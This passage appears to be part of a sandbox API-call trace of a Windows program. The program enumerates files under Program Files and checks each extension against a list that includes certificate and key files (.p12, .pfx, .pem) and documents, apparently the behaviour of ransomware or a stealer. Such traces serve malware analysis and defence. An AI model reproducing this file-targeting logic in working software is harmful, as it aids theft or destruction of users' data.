ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0265.425] RtlpDeCommitFreeBlock () [0265.425] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0265.425] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.425] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7eff6350, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7eff6350, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0265.427] RtlpDeCommitFreeBlock () [0265.427] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0265.427] RtlpDeCommitFreeBlock () [0265.427] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f3d4710, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f3d4710, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0265.429] RtlpDeCommitFreeBlock () [0265.429] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0265.430] RtlpDeCommitFreeBlock () [0265.430] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0265.433] RtlpDeCommitFreeBlock () [0265.433] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0265.557] RtlpDeCommitFreeBlock () [0265.559] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.559] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.561] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0265.571] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 63 [0265.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.591] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.592] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0265.593] lstrlenW (lpString=".opt") returned 4 [0265.593] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".oqy") returned 4 [0265.593] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".orf") returned 4 [0265.593] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".p12") returned 4 [0265.593] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".p7b") returned 4 [0265.593] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".p7c") returned 4 [0265.593] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pam") returned 4 [0265.593] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pbm") returned 4 [0265.593] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pct") returned 4 [0265.593] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pcx") returned 4 [0265.593] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pdd") returned 4 [0265.593] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pdf") returned 4 [0265.593] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pdp") returned 4 [0265.593] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0265.593] lstrlenW (lpString=".pef") returned 4 [0265.594] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pem") returned 4 [0265.594] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pff") returned 4 [0265.594] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pfm") returned 4 [0265.594] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pfx") returned 4 [0265.594] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pgm") returned 4 [0265.594] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".php") returned 4 [0265.594] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".php3") returned 5 [0265.594] lstrcmpiW (lpString1=".php3", lpString2="t.png") returned -1 [0265.594] lstrlenW (lpString=".php4") returned 5 [0265.594] lstrcmpiW (lpString1=".php4", lpString2="t.png") returned -1 [0265.594] lstrlenW (lpString=".php5") returned 5 [0265.594] lstrcmpiW (lpString1=".php5", lpString2="t.png") returned -1 [0265.594] lstrlenW (lpString=".phtml") returned 6 [0265.594] lstrcmpiW (lpString1=".phtml", lpString2="ot.png") returned -1 [0265.594] lstrlenW (lpString=".pict") returned 5 [0265.594] lstrcmpiW (lpString1=".pict", lpString2="t.png") returned -1 [0265.594] lstrlenW (lpString=".pl") returned 3 [0265.594] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0265.594] lstrlenW (lpString=".pls") returned 4 [0265.594] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0265.594] lstrlenW (lpString=".pm") returned 3 [0265.594] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0265.594] lstrlenW (lpString=".png") returned 4 [0265.594] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0265.594] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0265.594] lstrlenW (lpString=".opt") returned 4 [0265.595] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".oqy") returned 4 [0265.595] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".orf") returned 4 [0265.595] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".p12") returned 4 [0265.595] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".p7b") returned 4 [0265.595] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".p7c") returned 4 [0265.595] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pam") returned 4 [0265.595] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pbm") returned 4 [0265.595] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pct") returned 4 [0265.595] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pcx") returned 4 [0265.595] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pdd") returned 4 [0265.595] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pdf") returned 4 [0265.595] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pdp") returned 4 [0265.595] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pef") returned 4 [0265.595] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pem") returned 4 [0265.595] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pff") returned 4 [0265.595] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pfm") returned 4 [0265.595] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pfx") returned 4 [0265.595] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0265.595] lstrlenW (lpString=".pgm") returned 4 [0265.595] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".php") returned 4 [0265.596] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".php3") returned 5 [0265.596] lstrcmpiW (lpString1=".php3", lpString2="t.png") returned -1 [0265.596] lstrlenW (lpString=".php4") returned 5 [0265.596] lstrcmpiW (lpString1=".php4", lpString2="t.png") returned -1 [0265.596] lstrlenW (lpString=".php5") returned 5 [0265.596] lstrcmpiW (lpString1=".php5", lpString2="t.png") returned -1 [0265.596] lstrlenW (lpString=".phtml") returned 6 [0265.596] lstrcmpiW (lpString1=".phtml", lpString2="ot.png") returned -1 [0265.596] lstrlenW (lpString=".pict") returned 5 [0265.596] lstrcmpiW (lpString1=".pict", lpString2="t.png") returned -1 [0265.596] lstrlenW (lpString=".pl") returned 3 [0265.596] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0265.596] lstrlenW (lpString=".pls") returned 4 [0265.596] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".pm") returned 3 [0265.596] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0265.596] lstrlenW (lpString=".png") returned 4 [0265.596] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0265.596] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x282400f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0265.596] lstrlenW (lpString=".opt") returned 4 [0265.596] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".oqy") returned 4 [0265.596] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".orf") returned 4 [0265.596] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0265.596] lstrlenW (lpString=".p12") returned 4 [0265.597] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".p7b") returned 4 [0265.597] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".p7c") returned 4 [0265.597] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pam") returned 4 [0265.597] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pbm") returned 4 [0265.597] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pct") returned 4 [0265.597] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pcx") returned 4 [0265.597] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pdd") returned 4 [0265.597] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pdf") returned 4 [0265.597] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pdp") returned 4 [0265.597] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pef") returned 4 [0265.597] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pem") returned 4 [0265.597] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pff") returned 4 [0265.597] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pfm") returned 4 [0265.597] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pfx") returned 4 [0265.597] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".pgm") returned 4 [0265.597] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".php") returned 4 [0265.597] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0265.597] lstrlenW (lpString=".php3") returned 5 [0265.597] lstrcmpiW (lpString1=".php3", lpString2="t.png") returned -1 [0265.597] lstrlenW (lpString=".php4") returned 5 [0265.597] lstrcmpiW (lpString1=".php4", lpString2="t.png") returned -1 [0265.597] lstrlenW (lpString=".php5") returned 5 [0265.598] lstrcmpiW (lpString1=".php5", lpString2="t.png") returned -1 [0265.598] lstrlenW (lpString=".phtml") returned 6 [0265.598] lstrcmpiW (lpString1=".phtml", lpString2="ot.png") returned -1 [0265.598] lstrlenW (lpString=".pict") returned 5 [0265.598] lstrcmpiW (lpString1=".pict", lpString2="t.png") returned -1 [0265.598] lstrlenW (lpString=".pl") returned 3 [0265.598] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0265.598] lstrlenW (lpString=".pls") returned 4 [0265.598] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0265.598] lstrlenW (lpString=".pm") returned 3 [0265.598] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0265.598] lstrlenW (lpString=".png") returned 4 [0265.598] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0265.598] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28409161, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0265.599] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned 59 [0265.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.599] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.599] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0265.599] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned 63 [0265.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.599] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.599] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0265.599] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned 62 [0265.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.599] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.599] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0265.600] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned 60 [0265.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.600] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.600] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", 